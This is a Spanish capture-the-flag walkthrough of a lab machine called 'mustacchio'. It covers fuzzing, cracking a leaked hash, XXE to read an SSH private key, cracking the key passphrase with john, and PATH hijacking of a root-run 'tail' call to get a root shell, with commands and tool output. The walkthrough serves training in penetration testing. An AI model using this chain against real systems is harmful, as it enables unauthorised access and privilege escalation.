Usamos -sS --min-rate 5000 para ir mucho mas rapido con el escaneo, luego lo guardaremos en el archivo allportsScan. Luego del escaneo se tendra el siguiente resultado.
En el puerto 22, no vemos nada interesante por lo que vamos a revisar los puertos 80 y 8765. Al ingresar al Firefox con estos puerto nos encontramos
- Ahora vamos a realizar fuzzing contra la pagina web, para enumerar directorios existentes - ```Sie7e>$ wfuzz -c -f directoryWebScan,raw -w /usr/share/wordlists/dirb/common.txt --hc 404 -u http:///FUZZ```
EXPLOTACION
Encontramos algunas rutas en las cuales podemos husmear un poco, la que mas interesante es la /custom
Encontramos unos archivos, las cuales el mas interesante es ``users.bak`` asi que vamos a revisar de que se trata. ```bash Sie7e>$ sqlitebrowser users.bak ```
por lo que se tiene un hash, por lo que usaremos CrackStation para poner crack dicho hash. Tu podrias usar hascat o lo que gustes
Teniendo las credenciales, ahora podemos logearnos, en http://<IP target>:8765
Ingresamos y vemos un panel en la cual revisamos el codigo fuente
Vemos que se podemos escribir, pero en formato xml y los parametros que se necesitan son ``,``,``,``. Por otra parte vemos un comentario que nos indica un nombre de un usuario el cual es ``barry``
Entonces tendriamos la siguiente estructura de xml
podemos encontrar muchos payloads y hacerlo de filtrar informacion a nuestro gusto xxe-injection-payloads-list, yo lo hice de la siguiente forma:
- Para ver la ssh del usuario de barry:
Ya tendriamos la ssh de barry
CRACKING IRSA
Tenemos la id_rsa, la cual nos permitira logearnos a travez de ssh
Nos pide la contraseña del id_rsa mas no del usuario, entonces usaremos ssh2jhon.py para obtener el hash y luego crackear con john y obtener la contarseña
Ahora ya podemos usar john para crackear el hash y obtener la contraseña del archivo id_rsa
Un archivo nos llama la atención /home/joe/live_log
Al al hacer strings vemos algo que nos llama la atención, que se puede escalar privilegios a traves de un privilege-escalation-using-path. Llego a esta conclusion ya que este archivo lo ejecuta el usuario root, entonces si lograrmos secuestrar el PATH para que nuestro archivo tail se ejecute dandonos una shell con privilegios de administrador
Vamos a crear una carpeta temporal para meter nuestro archivo tail
Metemos el /bin/bash al archivo tail, para luego decirle que primero debe de buscar el archiuvo tail en nuestra ruta actual y le damos permiso de ejecución
Ahora simplemente lo ejecutamos
EEEEEE ya somos root y tenemes nuestra flags
Si deseas aprender mas sobre este hermoso campo que es el hacking te recomiendo los materiales siguientes:
```bash
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://<IP target>/FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 72 L 148 W 1752 Ch "http://<IP target>/"
000000011: 403 9 L 28 W 276 Ch ".hta"
000000013: 403 9 L 28 W 276 Ch ".htpasswd"
000000012: 403 9 L 28 W 276 Ch ".htaccess"
000001121: 301 9 L 28 W 311 Ch "custom"
000001648: 301 9 L 28 W 310 Ch "fonts"
000001991: 301 9 L 28 W 311 Ch "images"
000002020: 200 72 L 148 W 1752 Ch "index.html"
000003436: 200 2 L 4 W 28 Ch "robots.txt"
000003588: 403 9 L 28 W 276 Ch "server-status"
Total time: 0
Processed Requests: 4614
Filtered Requests: 4604
Requests/sec.: 0
```
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Sie7e</name>
<author>Barry </author>
<com>Esto es una prueba</com>
</comment>
Sie7e>$ ssh -i id_rsa barry@<IP target>
Enter passphrase for key 'id_rsa':
Sie7e>$ python3 ssh2john.py id_rsa > hash
Sie7e>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
******** (id_rsa)
1g 0:00:00:04 DONE (2021-06-12 03:34) 0.2277g/s 3266Kp/s 3266Kc/s 3266KC/s 1990..*7¡Vamos!
Session completed
Sie7e>$ ssh -i irsa barry@<IP target>
The authenticity of host <IP target> (<IP target>) cant be established.
ECDSA key fingerprint is SHA256:ZZet5QyZ8Pn5+08sVBFZdDzP/6yZEQeNpRZEd5DLLks.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '<IP target>' (ECDSA) to the list of known hosts.
Enter passphrase for key 'irsa':
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
barry@mustacchio:~$ ls
user.txt